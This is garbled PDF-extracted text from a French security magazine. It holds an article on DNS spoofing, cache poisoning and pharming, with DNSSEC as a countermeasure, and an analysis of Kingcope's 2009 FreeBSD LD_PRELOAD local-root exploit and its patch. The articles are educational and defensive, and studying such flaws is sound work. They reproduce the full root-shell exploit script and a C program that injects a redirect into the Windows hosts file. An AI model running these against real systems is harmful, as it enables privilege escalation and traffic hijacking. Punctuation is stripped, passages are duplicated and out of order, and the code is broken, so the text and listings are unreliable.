bull Utiliser de la cryptographie comme SSL cela rend la vie plus difficile au pirate

bull Dans linfrastructure dune entreprise une alterna-tive serait lutilisation de deux serveurs DNS dis-tincts Lun serait accessible depuis la toile et reacute-pondrait aux demandes quil recevrait Dun autre cocircteacute un serveur DNS Interne offrirait ses servi-ces aux ordinateurs internes Les transactions quaurait ce dernier serveur DNS seraient par exemple avec les serveurs laquo racines raquo (root ser-vers) qui repreacutesentent la base de linternet Degraves lors nous pourrions plus ou moins les consideacuterer de laquo confiance raquo

Il existe en tout 13 serveurs racine du DNS situeacutes un peu partout dans le monde

Depuis peu ces 13 serveurs sont tous passeacutes agrave DNS-SEC (Domain Name System Security Extensions)

Ce protocole standardiseacute permet avant tout

bull la seacutecurisation des transactions DNS

Figure 5 changement de certains paramegravetres pour rediriger la victime vers des sites frauduleux

Victime

Site malicieurxcom

La victime va pour acceacuteder agrave un site

malicieux

Le site malicieux renvoie du code qui va faire des changements

sur sa box

Routeur de la victime accessible quagrave partir du LAN

Les attaques DNS

hakin9orgfr 45

bull la seacutecurisation des informations contenues dans les messages DNS

bull Stockage et distribution des cleacutes neacutecessaires au bon fonctionnement

Avant tout DNSSEC sappuie sur des signatures cryp-tographiques qui permettent de laquo signer raquo les inscrip-tions DNS actuelles

Cela permet de deacutetecter deacuteventuelles fraudes et ainsi eacuteviter agrave une victime decirctre pieacutegeacutee Cela ressemble agrave un gage de qualiteacute permettant de garantir que toutes les in-formations reccedilues sont effectivement celles demaneacutees

Le meacutecanisme utiliseacute est une geacuteneacuteration dune paire de codes

bull une cleacute priveacutee la cleacute priveacutee ne doit en aucun cas ecirctre divulgueacutee et ecirctre gardeacutee en seacutecuriteacute pour eacutevi-ter de casser la laquo chaine de confiance raquo mise en place Cette derniegravere reste chez le proprieacutetaire

bull une cleacute publique la cleacute publique est disponible pour tout le monde et est preacutesente dans chaque laquo DNSKEY record raquo Un laquo DNSKEY record raquo per-met de veacuterifier quil ne sagit pas dun site contrefait en veacuterifiant les signatures DNSSEC

bull Les donneacutees contenues dans chaque enregistre-ment laquo DNSKEY raquo sont les suivantes

bull Drapeaux (laquo Flags raquo) laquo Zone key raquo pour toutes les cleacutes DNSSEC et laquo Secure Entry Point raquo pour les cleacutes signant dautres cleacutes ou des cleacutes dites laquo simples raquo

bull Protocole la valeur est fixeacutee agrave 3 pour assurer la compatibiliteacute avec les versions preacuteceacutedentes

bull Algorithme lalgorithme utiliseacute par la cleacute publique bull Cleacute publique la cleacute publique en tant que telle

ConclusionGracircce aux diffeacuterentes avanceacutees technologiques dans ce domaine les risques sont plus ou moins diminueacutes Heureusement car ce protocole est lun des plus impor-tants agrave ce jour

Parallegravelement une infrastructure toucheacutee par une attaque au niveau du DNS est terriblement compromise car elle peut avoir de terribles reacutepercutions sur ses usa-gers

Une socieacuteteacute peut ecirctre entiegraverement laquo mise sur le car-reau raquo car sans les services offerts par le protocole DNS son activiteacute risque de cesser

Si cet article vous a inteacuteresseacute nheacutesitez pas agrave lire dautres articles comme par exemple la preacutesentation de Dan Kaminsky sur une faille concernant le laquo snoo-ping raquo du cache DNS de 2008

Listing 1 Code C pour Pharming local

ltcode C pour du Pharming en localgt

include ltstdlibhgt

include ltstdiohgt

int main(void)

FILE pharming = NULL

pharming = fopen(SYSTEMROOTsystem32drivers

etchosts a)

if (pharming = NULL)

fputs(20985229104 hakin9org

pharming)

fclose(pharming)

else

printf(Erreur au niveau de louverture

du fi chier Hosts)

return EXIT_SUCCESS

ltcodegt

Annexes

bull httpfrwikipediaorgwikiDomain_Name_System Article de Wikipeacutedia sur le protocole DNS

bull httpfrwikipediaorgwikiDomain_Name_System_Security_Extensions Article de Wikipeacutedia sur DNSSEC

bull httpwwwauthsecucombrute-force-dnsbrute-force-dnsphp Article qui traite de la brute-force des noms de do-maines

bull httpunixwiznettechtipsiguide-kaminsky-dns-vulnhtml Un guide illustreacute sur la faille DNS de Dan Kaminsky durant leacuteteacute 2008

bull httpwwwsecuriteinfocomattaqueshackingdnsspoofi ngshtml Article inteacuteressant sur le DNS Spoofi ng (incluant les deux attaques preacutesenteacutees dans larticle)

bull httpfrwikipediaorgwikiPharming Article de Wikipeacutedia sur le Pharming

A PROPOS De LAuteuR Lauteur est actuellement eacutetudiant en DUT Informatique lIUT de Fontainebleau Il sinteacuteresse de tregraves pregraves agrave tout ce qui a trait agrave la seacutecuriteacute in-formatique a n de comprendre les problegravemes associeacutes Il aimerait par la suite continuer ses eacutetudes dans une eacutecole dingeacutenieur

6201046

Focus

Le full disclosure (ou le fait de divulguer publique-ment les problegravemes de seacutecuriteacute ou les exploits) est quelque chose de primordial chez les pas-

sionneacutes de seacutecuriteacute informatique Il permet (entre autre) a chacun de pouvoir eacutetudier

les problegravemes deacutecouvert par dautre personne de com-prendre leurs fonctionnement et de seacutecuriser ses pro-pres codes

Lexemple de lexploit eacutetudieacute dans cet article est tregraves formateur sans demander une tregraves forte connaissance du systegraveme ou du C

Fonctionnement de LD_PRELoAD Il existe une variable denvironnement sous UNIX qui sappelle LD_PRELOAD Cette variable permet dinter-caler une librairie pour quelle soit prioritaire agrave celles de lOS Pour exemple nous allons utiliser le listing 1 qui permet simplement dafficher le PID du processus cou-rant

Voici le reacutesultat apregraves compilation

$ gcc listing1c -o listing1

$ listing1

pid 1423

A preacutesent nous allons creacuteer notre propre librairie getpid() qui retournera systeacutematiquement 31337 Le code est disponible au listing2 La compilation est un peu particulier afin de creacuteer une librairie parta-geacutee

$ gcc -fPIC -shared -o listing2so listing2c

A preacutesent nous avons un binaire qui utilise getpid() et une librairie partageacutee getpid() eacutegalement Voici com-ment fonctionne LD_PRELOAD pour utiliser en priori-teacute notre librairie et non pas celle de lOS

$ export LD_PRELOAD=listing2so

$ listing1

pid 31447

Nous voyons que listing1 utilise agrave preacutesent notre pro-pre librairie Cette astuce est tregraves utile pour debugger Il existe une fonction particuliegravere _ init() qui est lanceacute degraves lexeacutecution du main Et qui permet de ne pas cibler une fonction speacutecifique

Il y a toutefois une limitation a cette fonctionnaliteacute il nest pas possible dutiliser LD_PRELOAD sur un bi-naire suid La premiegravere chose que fait FreeBSD lors de lexeacutecution dun binaire suid est de vider cette variable Il fait ccedila par seacutecuriteacute pour eacuteviter dexeacutecuter du code ar-bitraire en temps que root via notre librairie Cest a ce niveau que va agir notre exploit

Analyse de lexploitPour commencer nous pouvons contempler lexploit au listing 3

Nous pouvons voir que cest en faite un script qui com-pile un binaire env et une librairie w00tso10 Nous pou-vons voir assez facilement que LD_PRELOAD est mis

Exploit ndash Local root FreeBsD via LD_PRELoAD

FreeBSD est souvent preacutesenteacute comme un OS agrave la seacutecuriteacute robuste Malgreacute cette reacuteputation un exploit a eacuteteacute divulgueacute fin novembre sur la mailing list Full Disclosure par Kingcope Dans cet article nous eacutetudierons cet exploit et le patch proposeacute par lrsquoeacutequipe de mainteneur FreeBSD apregraves avoir compris LD_PRELOAD

cet article expliquebull Comment fonctionne un exploit utilisant un bug LD_PRELOAD

sous FreeBSD

ce quil faut savoirbull Langage C des notions de systegraveme UNIX sont preacutefeacuterable

Paul Rascagnegraveres

Exploit ndash Local root FreeBsD via LD_PRELoAD

hakin9orgfr 47

comment FreeBsD vide la variable LD_PRELoAD Le listing 4 montre le morceau de code qui lance la pur-ge de certaines variables en cas de bit suid

en place juste avant de lancer la commande ping qui dispose dun bit suid Normalement la variable devrait donc ecirctre videacute par lOS Voyons comment FreeBSD vi-de cette variable

Listing 1 Source permettant dafficher le PID du processus en cours

include ltstdiohgt

int main()

printf(pid ungetpid())

return(0)

Listing 2 Librairie getpid() retournant systematiquement 31337

include ltstdiohgt

include ltsystypeshgt

pid_t getpid(void)

return(31337)

Listing 3 Exploit posteacute par Kingcope

binsh

echo FreeBSD local r00t zeroday

echo by Kingcope

echo November 2009

cat gt envc ltlt _EOF

include ltstdiohgt

main()

extern char environ

environ = (char)malloc(8096)

environ[0] = (char)malloc(1024)

environ[1] = (char)malloc(1024)

strcpy(environ[1] LD_PRELOAD=tmpw00t

so10)

execl(sbinping ping 0)

_EOF

gcc envc -o env

cat gt programc ltlt _EOF

include ltunistdhgt

include ltstdiohgt

include ltsystypeshgt

include ltstdlibhgt

void _init()

extern char environ

environ=NULL

system(echo ALEX-ALEXbinsh)

_EOF

gcc -o programo -c programc -fPIC

gcc -shared -Wl-sonamew00tso1 -o w00tso10

programo -nostartfiles

cp w00tso10 tmpw00tso10

env

Listing 4 fonction ou sont purgeacute certaines variables en cas de bit suid

func_ptr_type

_rtld(Elf_Addr sp func_ptr_type exit_proc Obj_

Entry objp)

trust = issetugid()

If the process is tainted then we un-set the

dangerous environment

variables The process will be marked as

tainted until setuid(2)

is called If any child process calls

setuid(2) we do not want any

future processes to honor the potentially un-

safe variables

if (trust)

unsetenv(LD_ PRELOAD)

unsetenv(LD_ LIBMAP)

unsetenv(LD_ LIBRARY_PATH)

unsetenv(LD_ LIBMAP_DISABLE)

unsetenv(LD_ DEBUG)

unsetenv(LD_ ELF_HINTS_PATH)

Return the exit procedure and the program entry

point

exit_proc = rtld_exit

objp = obj_main

return (func_ptr_type) obj_main-gtentry

6201048

Focus

Nous pouvons voir la fonction unsetenv() qui comme il est facile de le deviner permet dunset une variable denvironnement passeacutee en argument Cette fonction est retranscrite au listing 5

Cette fonction meacuterite une attention toute particuliegrave-re et une petite explication En premier lieu elle veacuterifie que le nom de la variable nest pas mal formeacutee En-suite deux fonctions __merge_environ() et __build_env() permettent de creacuteer un tableau contenant lenvironne-ment Pour finir elle supprime la variable via la fonction __remove_putenv() Le listing 6 montre le code de la fonc-tion __merge_environ()

Nous voyons que si il manque un laquo = raquo dans lune des variables denvironnement la fonction sort en -1 ce qui a pour incidence de ne jamais lancer la fonc-tion __remove_putenv() car unsetenv() sort laquo brutale-ment raquo Cest ce qui se passe dans notre cas La pre-miegravere variable denvironnement setteacute par lexploit est vide Mais le principal problegraveme est quil ny a pas de controcircle du code de retour de la fonction unsetenv()

Et donc notre binaire sexeacutecute avec la variable LD_PRELOAD Nous pouvons donc exeacutecuter nimporte quelle librairie arbitraire en tant que root via un bi-naire suid

Patch fournie par FreeBsDLe patch est des plus simple il consiste simplement a controcircler le code de retour dunsetenv() et a sortir en erreur en stoppant lexeacutecution du binaire Le listing 7 montre le patch

conclusionNous avons pu voir avec quelle faciliteacute Kingcope agrave reacuteussi agrave exeacutecuter du code en root Il est primordial de toujours veacuterifier les codes de retour des fonctions afin de valider que tout cest correctement passeacute comme nous le souhaitions Il est aussi important de noter que cette vulneacuterabiliteacute existe sous FreeBSD depuis de nombreuses anneacutees et que peut ecirctre certaines personnes ont exploiteacutes cette faille tout ce temps

Listing 5 fonction unsetenv() du fichier srcliblibcstdlibgetenvc

Unset variable with the same name by flagging it as inactive No variable is

ever freed

int

unsetenv(const char name)

int envNdx

size_t nameLen

Check for malformed name

if (name == NULL || (nameLen = __strleneq(name)) == 0)

errno = EINVAL

return (-1)

Initialize environment

if (__merge_environ() == -1 || (envVars == NULL ampamp __build_env() == -1))

return (-1)

Deactivate specified variable

envNdx = envVarsTotal - 1

if (__findenv(name nameLen ampenvNdx true) = NULL)

envVars[envNdx]active = false

if (envVars[envNdx]putenv)

__remove_putenv(envNdx)

__rebuild_environ(envActive - 1)

return (0)

Exploit ndash Local root FreeBsD via LD_PRELoAD

hakin9orgfr 49

Sans le full disclosure cette faille naurait peut ecirctre jamais eacuteteacute corrigeacute Il est donc vital dencourager ce type de deacutemarche de la part de tous les passionneacutes de seacutecuriteacute

Listing 6 Fonction __merge_environ()

static int

__merge_environ(void)

char env

char equals

Insert new environ into existing yet deactivated

environment array

origEnviron = environ

if (origEnviron = NULL)

for (env = origEnviron env = NULL env++)

if ((equals = strchr(env =)) == NULL)

__env_warnx(CorruptEnvValueMsg env strlen(env))

errno = EFAULT

return (-1)

if (__setenv(env equals - env equals + 11) == -1)

return (-1)

return (0)

Listing 7 Patch fournie par FreeBSD

if (trust)

- unsetenv(LD_ PRELOAD)

- unsetenv(LD_ LIBMAP)

- unsetenv(LD_ LIBRARY_PATH)

- unsetenv(LD_ LIBMAP_DISABLE)

- unsetenv(LD_ DEBUG)

- unsetenv(LD_ ELF_HINTS_PATH)

+ if (unsetenv(LD_ PRELOAD) ||

unsetenv(LD_ LIBMAP) ||

+ unsetenv(LD_ LIBRARY_PATH) ||

unsetenv(LD_ LIBMAP_DISABLE)

||

+ unsetenv(LD_ DEBUG) ||

unsetenv(LD_ ELF_HINTS_PATH))

+ _rtld_error(environment corrupt

aborting)

+ die()

+

ld_debug = getenv(LD_ DEBUG)

sur Internet

bull httpseclistsorgfulldisclosure2009Nov371 ndash publica-tion de Kingcope

bull httpwwwfreebsdorg ndash site offi ciel de FreeBSDbull httpwwwr00tedcom ndash site de lauteur de cet article

Agrave PRoPos DE LAuTEuRPaul Rascagnegraveres est un consultant informatique speacutecialiseacute en UNIX (Solaris AIX Linux et BSD) et en Seacutecuriteacute depuis plus de 5 ans Il a travailleacute chez des fabricants automobile ainsi que dans des banques franccedilaises et luxembourgeoises Il est eacutega-lement chercheur en seacutecuriteacute a titre priveacute dans ce cadre il ani-me de nombreuses communauteacutes de passionneacute en seacutecuriteacutesur internetPour contacter lauteur httpswwwr00tedcom

Page 37: E-Comerce Lancez Votre Boutique Online Hakin9!06!2010 FR

6201042

AttAque

de forger un paquet speacutecifique et ainsi lenvoyer agrave la victime

Lors de la reacuteception la victime pensera que le serveur DNS leacutegitime lui a renvoyeacute la reacuteponse et sera redirigeacutee vers un site frauduleux

Cette utilisation peut avoir des effets deacutevastateurs comme renvoyer vers un site qui propage un virus ren-voie sur une page de phishing hellip

Le DNS Cache PoisoningDe base un serveur DNS na des informations que pour les machines du domaine sur lequel il a autoriteacute Autre-ment dit il na pas stockeacute les informations relatives agrave dautres domaines

Si une machine A souhaite communiquer avec une machine B dun autre domaine le serveur DNS qui a autoriteacute sur la machine A contacte le serveur DNS qui a autoriteacute sur la machine B etc

Pour eacuteviter de saturer le reacuteseau il est preacutefeacuterable de garder en meacutemoire ces informations

Degraves lors si une autre machine demande agrave contacter la machine B elle pourra reacute-utiliser les informations contenues dans le cache du serveur DNS

Lattaque de DNS Cache Poisoning consiste agrave faire en sorte de corrompre ce fameux cache en inseacuterant des donneacutees voulues par le pirate

Pour que cela fonctionne il faut que le pirate ait le controcircle dun nom de domaine prenons fakecom ainsi

que le serveur DNS correspondant ayant autoriteacute sur celui-ci nsfakecom

Le pirate envoie ainsi une requecircte vers le serveur DNS cible (celui utiliseacute par la victime)

Il fait en sorte de demander la reacutesolution du nom dune machine affilieacutee au domaine fakecom

Le serveur DNS cible envoie les informations au serveur DNS du pirate (nsfakecom) qui quant agrave lui envoie les informations correspondant agrave sa demande ainsi que dautres informations compleacutementaires Ces derniegraveres auront juste pour effet de corrompre le cache du serveur DNS cible

Nous pourrions imaginer un sceacutenario ougrave le pirate cherche agrave rediriger des utilisateurs dune banque vers un site falsifieacute pour reacutecupeacuterer leurs informations person-nelles

Le laquo Pharming raquoLe pharming est une technique utiliseacutee par les pirates informatiques exploitant des vulneacuterabiliteacutes DNS

Le but est le mecircme que les attaques preacuteceacutedentes deacutetourner sa victime sur un site frauduleux en le faisant passer pour le veacuteritable

Deux types de laquo pharming raquo peuvent ecirctre mis en place

bull Le pharming local consiste agrave modifier le fichier hosts de la machine Ce fichier permet de rajouter des en-

Figure 2 hieacuterarchie du protocole DNS

Root Servers

orgcomfr

Hakin9

Les attaques DNS

hakin9orgfr 43

treacutees nom de domaine et adresse IP et il est lun des acteurs majeurs dans la navigation internet

bull Rajouter la ligne laquo 20985229104 hakin9org raquo redirigera tous les utilisateurs vers Google sils sou-haitent aller sur le site hakin9org

bull Le fait de modifier en local le fichier hosts nagit que sur les personnes utilisant le poste affecteacute Ce type de pharming ne peut pas se reacutepercuter sur dautres ordinateurs (cf Listing 1)

Lautre type possible est de compromettre le serveur DNS dont deacutepend la victime

bull Le nom est diffeacuterent mais correspond au DNS Cache Poisoning Lattaque consiste agrave alteacuterer son contenu en inseacuterant de fausses informations Degraves lors si un utilisateur recherche un certain nom de domaine compromis il se retrouvera sur un site fal-sifieacute

Figure 3 DNS ID Spoofing

La victime envoie une requecircte DNSpour savoir quelle est lIP de

mabanquecom

Le pirate eacutecoute le traffic et envoie avant le

serveur une reacuteponse DNSavec le mecircme iD

Victime

Le serveur reacutepons maismalheureusement trop tard

Figure 4 Cache Poising

Victime

La victime envoie une requecircte DNSpour savoir quelle est lIP de

mabanquecom Le pirate envoie de nombreuses donneacutees pour empoisonnser le cache DNSdu serveur cible infectant

ainsi toutes les requecirctes despcs qui utiliseront ce serveur

DNS

Pirate

Serveur CacheDNS

Le serveur DNS reacutepond via le cache emposonneacute par le pirate

6201044

AttAque

Le laquo Drive-by-pharming raquo technique en vogue de-puis de nombreuses anneacutees Cette derniegravere consiste agrave amener un internaute agrave exeacutecuter un script (souvent JavaScript) malveillant qui va modifier la configuration de son routeur personnel Il faut savoir que la plupart du temps le routeur personnel nest accessible quen LAN (agrave savoir seulement les personnes faisant par-tie du reacuteseau local accegravedent agrave linterface du routeur) et non en WAN (accessible agrave partir de la toile-mecircme cela signifie quun attaquant peut prendre le controcircle dun routeur situeacute aux Etats-Unis depuis la Russie) Le pirate utilisera linternaute comme intermeacutediaire dans son attaque pour faire en sorte quil modifie lui-mecircme les paramegravetres de sa box Ce type dattaque se reacutealise gracircce agrave des vulneacuterabiliteacutes de type CSRF (Cross Site Request Forgeries) qui ne sont autres que des formu-laires preacute-remplis exeacutecuteacutes lors du chargement de la page malicieuse Dapregraves une eacutetude de Symantec sur ce domaine 95 des utilisateurs agrave la laquo maison raquo auto-risent lexeacutecution du JavaScript dans leurs fureteurs in-ternet

Degraves lors il est possible de maniegravere transparente de changer certains paramegravetres afin de rediriger ses victimes vers des sites frauduleux

Solutions contre ces abusPour eacuteviter les problegravemes de DNS Spoofing plusieurs deacutemarches peuvent ecirctre reacutealiseacutees comme

bull Mettre agrave jour les serveurs DNS (cela permet par exemple deacuteviter des failles permettant le controcircle de ces serveurs DNS et ainsi preacutedire les numeacuteros de seacutequence correspondants)

bull Limiter le cache du serveur DNS et faire en sorte quil nenregistre pas dans sa base de donneacutees les enregistrements additionnels

bull Utiliser de la cryptographie comme SSL cela rend la vie plus difficile au pirate

bull Dans linfrastructure dune entreprise une alterna-tive serait lutilisation de deux serveurs DNS dis-tincts Lun serait accessible depuis la toile et reacute-pondrait aux demandes quil recevrait Dun autre cocircteacute un serveur DNS Interne offrirait ses servi-ces aux ordinateurs internes Les transactions quaurait ce dernier serveur DNS seraient par exemple avec les serveurs laquo racines raquo (root ser-vers) qui repreacutesentent la base de linternet Degraves lors nous pourrions plus ou moins les consideacuterer de laquo confiance raquo

Il existe en tout 13 serveurs racine du DNS situeacutes un peu partout dans le monde

Depuis peu ces 13 serveurs sont tous passeacutes agrave DNS-SEC (Domain Name System Security Extensions)

Ce protocole standardiseacute permet avant tout

bull la seacutecurisation des transactions DNS

Figure 5 changement de certains paramegravetres pour rediriger la victime vers des sites frauduleux

Victime

Site malicieurxcom

La victime va pour acceacuteder agrave un site

malicieux

Le site malicieux renvoie du code qui va faire des changements

sur sa box

Routeur de la victime accessible quagrave partir du LAN

Les attaques DNS

hakin9orgfr 45

bull la seacutecurisation des informations contenues dans les messages DNS

bull Stockage et distribution des cleacutes neacutecessaires au bon fonctionnement

Avant tout DNSSEC sappuie sur des signatures cryp-tographiques qui permettent de laquo signer raquo les inscrip-tions DNS actuelles

Cela permet de deacutetecter deacuteventuelles fraudes et ainsi eacuteviter agrave une victime decirctre pieacutegeacutee Cela ressemble agrave un gage de qualiteacute permettant de garantir que toutes les in-formations reccedilues sont effectivement celles demaneacutees

Le meacutecanisme utiliseacute est une geacuteneacuteration dune paire de codes

bull une cleacute priveacutee la cleacute priveacutee ne doit en aucun cas ecirctre divulgueacutee et ecirctre gardeacutee en seacutecuriteacute pour eacutevi-ter de casser la laquo chaine de confiance raquo mise en place Cette derniegravere reste chez le proprieacutetaire

bull une cleacute publique la cleacute publique est disponible pour tout le monde et est preacutesente dans chaque laquo DNSKEY record raquo Un laquo DNSKEY record raquo per-met de veacuterifier quil ne sagit pas dun site contrefait en veacuterifiant les signatures DNSSEC

bull Les donneacutees contenues dans chaque enregistre-ment laquo DNSKEY raquo sont les suivantes

bull Drapeaux (laquo Flags raquo) laquo Zone key raquo pour toutes les cleacutes DNSSEC et laquo Secure Entry Point raquo pour les cleacutes signant dautres cleacutes ou des cleacutes dites laquo simples raquo

bull Protocole la valeur est fixeacutee agrave 3 pour assurer la compatibiliteacute avec les versions preacuteceacutedentes

bull Algorithme lalgorithme utiliseacute par la cleacute publique bull Cleacute publique la cleacute publique en tant que telle

ConclusionGracircce aux diffeacuterentes avanceacutees technologiques dans ce domaine les risques sont plus ou moins diminueacutes Heureusement car ce protocole est lun des plus impor-tants agrave ce jour

Parallegravelement une infrastructure toucheacutee par une attaque au niveau du DNS est terriblement compromise car elle peut avoir de terribles reacutepercutions sur ses usa-gers

Une socieacuteteacute peut ecirctre entiegraverement laquo mise sur le car-reau raquo car sans les services offerts par le protocole DNS son activiteacute risque de cesser

Si cet article vous a inteacuteresseacute nheacutesitez pas agrave lire dautres articles comme par exemple la preacutesentation de Dan Kaminsky sur une faille concernant le laquo snoo-ping raquo du cache DNS de 2008

Listing 1 Code C pour Pharming local

ltcode C pour du Pharming en localgt

include ltstdlibhgt

include ltstdiohgt

int main(void)

FILE pharming = NULL

pharming = fopen(SYSTEMROOTsystem32drivers

etchosts a)

if (pharming = NULL)

fputs(20985229104 hakin9org

pharming)

fclose(pharming)

else

printf(Erreur au niveau de louverture

du fi chier Hosts)

return EXIT_SUCCESS

ltcodegt

Annexes

bull httpfrwikipediaorgwikiDomain_Name_System Article de Wikipeacutedia sur le protocole DNS

bull httpfrwikipediaorgwikiDomain_Name_System_Security_Extensions Article de Wikipeacutedia sur DNSSEC

bull httpwwwauthsecucombrute-force-dnsbrute-force-dnsphp Article qui traite de la brute-force des noms de do-maines

bull httpunixwiznettechtipsiguide-kaminsky-dns-vulnhtml Un guide illustreacute sur la faille DNS de Dan Kaminsky durant leacuteteacute 2008

bull httpwwwsecuriteinfocomattaqueshackingdnsspoofi ngshtml Article inteacuteressant sur le DNS Spoofi ng (incluant les deux attaques preacutesenteacutees dans larticle)

bull httpfrwikipediaorgwikiPharming Article de Wikipeacutedia sur le Pharming

A PROPOS De LAuteuR Lauteur est actuellement eacutetudiant en DUT Informatique lIUT de Fontainebleau Il sinteacuteresse de tregraves pregraves agrave tout ce qui a trait agrave la seacutecuriteacute in-formatique a n de comprendre les problegravemes associeacutes Il aimerait par la suite continuer ses eacutetudes dans une eacutecole dingeacutenieur

6201046

Focus

Le full disclosure (ou le fait de divulguer publique-ment les problegravemes de seacutecuriteacute ou les exploits) est quelque chose de primordial chez les pas-

sionneacutes de seacutecuriteacute informatique Il permet (entre autre) a chacun de pouvoir eacutetudier

les problegravemes deacutecouvert par dautre personne de com-prendre leurs fonctionnement et de seacutecuriser ses pro-pres codes

Lexemple de lexploit eacutetudieacute dans cet article est tregraves formateur sans demander une tregraves forte connaissance du systegraveme ou du C

Fonctionnement de LD_PRELoAD Il existe une variable denvironnement sous UNIX qui sappelle LD_PRELOAD Cette variable permet dinter-caler une librairie pour quelle soit prioritaire agrave celles de lOS Pour exemple nous allons utiliser le listing 1 qui permet simplement dafficher le PID du processus cou-rant

Voici le reacutesultat apregraves compilation

$ gcc listing1c -o listing1

$ listing1

pid 1423

A preacutesent nous allons creacuteer notre propre librairie getpid() qui retournera systeacutematiquement 31337 Le code est disponible au listing2 La compilation est un peu particulier afin de creacuteer une librairie parta-geacutee

$ gcc -fPIC -shared -o listing2so listing2c

A preacutesent nous avons un binaire qui utilise getpid() et une librairie partageacutee getpid() eacutegalement Voici com-ment fonctionne LD_PRELOAD pour utiliser en priori-teacute notre librairie et non pas celle de lOS

$ export LD_PRELOAD=listing2so

$ listing1

pid 31447

Nous voyons que listing1 utilise agrave preacutesent notre pro-pre librairie Cette astuce est tregraves utile pour debugger Il existe une fonction particuliegravere _ init() qui est lanceacute degraves lexeacutecution du main Et qui permet de ne pas cibler une fonction speacutecifique

Il y a toutefois une limitation a cette fonctionnaliteacute il nest pas possible dutiliser LD_PRELOAD sur un bi-naire suid La premiegravere chose que fait FreeBSD lors de lexeacutecution dun binaire suid est de vider cette variable Il fait ccedila par seacutecuriteacute pour eacuteviter dexeacutecuter du code ar-bitraire en temps que root via notre librairie Cest a ce niveau que va agir notre exploit

Analyse de lexploitPour commencer nous pouvons contempler lexploit au listing 3

Nous pouvons voir que cest en faite un script qui com-pile un binaire env et une librairie w00tso10 Nous pou-vons voir assez facilement que LD_PRELOAD est mis

Exploit ndash Local root FreeBsD via LD_PRELoAD

FreeBSD est souvent preacutesenteacute comme un OS agrave la seacutecuriteacute robuste Malgreacute cette reacuteputation un exploit a eacuteteacute divulgueacute fin novembre sur la mailing list Full Disclosure par Kingcope Dans cet article nous eacutetudierons cet exploit et le patch proposeacute par lrsquoeacutequipe de mainteneur FreeBSD apregraves avoir compris LD_PRELOAD

cet article expliquebull Comment fonctionne un exploit utilisant un bug LD_PRELOAD

sous FreeBSD

ce quil faut savoirbull Langage C des notions de systegraveme UNIX sont preacutefeacuterable

Paul Rascagnegraveres

Exploit ndash Local root FreeBsD via LD_PRELoAD

hakin9orgfr 47

comment FreeBsD vide la variable LD_PRELoAD Le listing 4 montre le morceau de code qui lance la pur-ge de certaines variables en cas de bit suid

en place juste avant de lancer la commande ping qui dispose dun bit suid Normalement la variable devrait donc ecirctre videacute par lOS Voyons comment FreeBSD vi-de cette variable

Listing 1 Source permettant dafficher le PID du processus en cours

include ltstdiohgt

int main()

printf(pid ungetpid())

return(0)

Listing 2 Librairie getpid() retournant systematiquement 31337

include ltstdiohgt

include ltsystypeshgt

pid_t getpid(void)

return(31337)

Listing 3 Exploit posteacute par Kingcope

binsh

echo FreeBSD local r00t zeroday

echo by Kingcope

echo November 2009

cat gt envc ltlt _EOF

include ltstdiohgt

main()

extern char environ

environ = (char)malloc(8096)

environ[0] = (char)malloc(1024)

environ[1] = (char)malloc(1024)

strcpy(environ[1] LD_PRELOAD=tmpw00t

so10)

execl(sbinping ping 0)

_EOF

gcc envc -o env

cat gt programc ltlt _EOF

include ltunistdhgt

include ltstdiohgt

include ltsystypeshgt

include ltstdlibhgt

void _init()

extern char environ

environ=NULL

system(echo ALEX-ALEXbinsh)

_EOF

gcc -o programo -c programc -fPIC

gcc -shared -Wl-sonamew00tso1 -o w00tso10

programo -nostartfiles

cp w00tso10 tmpw00tso10

env

Listing 4 fonction ou sont purgeacute certaines variables en cas de bit suid

func_ptr_type

_rtld(Elf_Addr sp func_ptr_type exit_proc Obj_

Entry objp)

trust = issetugid()

If the process is tainted then we un-set the

dangerous environment

variables The process will be marked as

tainted until setuid(2)

is called If any child process calls

setuid(2) we do not want any

future processes to honor the potentially un-

safe variables

if (trust)

unsetenv(LD_ PRELOAD)

unsetenv(LD_ LIBMAP)

unsetenv(LD_ LIBRARY_PATH)

unsetenv(LD_ LIBMAP_DISABLE)

unsetenv(LD_ DEBUG)

unsetenv(LD_ ELF_HINTS_PATH)

Return the exit procedure and the program entry

point

exit_proc = rtld_exit

objp = obj_main

return (func_ptr_type) obj_main-gtentry

6201048

Focus

Nous pouvons voir la fonction unsetenv() qui comme il est facile de le deviner permet dunset une variable denvironnement passeacutee en argument Cette fonction est retranscrite au listing 5

Cette fonction meacuterite une attention toute particuliegrave-re et une petite explication En premier lieu elle veacuterifie que le nom de la variable nest pas mal formeacutee En-suite deux fonctions __merge_environ() et __build_env() permettent de creacuteer un tableau contenant lenvironne-ment Pour finir elle supprime la variable via la fonction __remove_putenv() Le listing 6 montre le code de la fonc-tion __merge_environ()

Nous voyons que si il manque un laquo = raquo dans lune des variables denvironnement la fonction sort en -1 ce qui a pour incidence de ne jamais lancer la fonc-tion __remove_putenv() car unsetenv() sort laquo brutale-ment raquo Cest ce qui se passe dans notre cas La pre-miegravere variable denvironnement setteacute par lexploit est vide Mais le principal problegraveme est quil ny a pas de controcircle du code de retour de la fonction unsetenv()

Et donc notre binaire sexeacutecute avec la variable LD_PRELOAD Nous pouvons donc exeacutecuter nimporte quelle librairie arbitraire en tant que root via un bi-naire suid

Patch fournie par FreeBsDLe patch est des plus simple il consiste simplement a controcircler le code de retour dunsetenv() et a sortir en erreur en stoppant lexeacutecution du binaire Le listing 7 montre le patch

conclusionNous avons pu voir avec quelle faciliteacute Kingcope agrave reacuteussi agrave exeacutecuter du code en root Il est primordial de toujours veacuterifier les codes de retour des fonctions afin de valider que tout cest correctement passeacute comme nous le souhaitions Il est aussi important de noter que cette vulneacuterabiliteacute existe sous FreeBSD depuis de nombreuses anneacutees et que peut ecirctre certaines personnes ont exploiteacutes cette faille tout ce temps

Listing 5 fonction unsetenv() du fichier srcliblibcstdlibgetenvc

Unset variable with the same name by flagging it as inactive No variable is

ever freed

int

unsetenv(const char name)

int envNdx

size_t nameLen

Check for malformed name

if (name == NULL || (nameLen = __strleneq(name)) == 0)

errno = EINVAL

return (-1)

Initialize environment

if (__merge_environ() == -1 || (envVars == NULL ampamp __build_env() == -1))

return (-1)

Deactivate specified variable

envNdx = envVarsTotal - 1

if (__findenv(name nameLen ampenvNdx true) = NULL)

envVars[envNdx]active = false

if (envVars[envNdx]putenv)

__remove_putenv(envNdx)

__rebuild_environ(envActive - 1)

return (0)

Exploit ndash Local root FreeBsD via LD_PRELoAD

hakin9orgfr 49

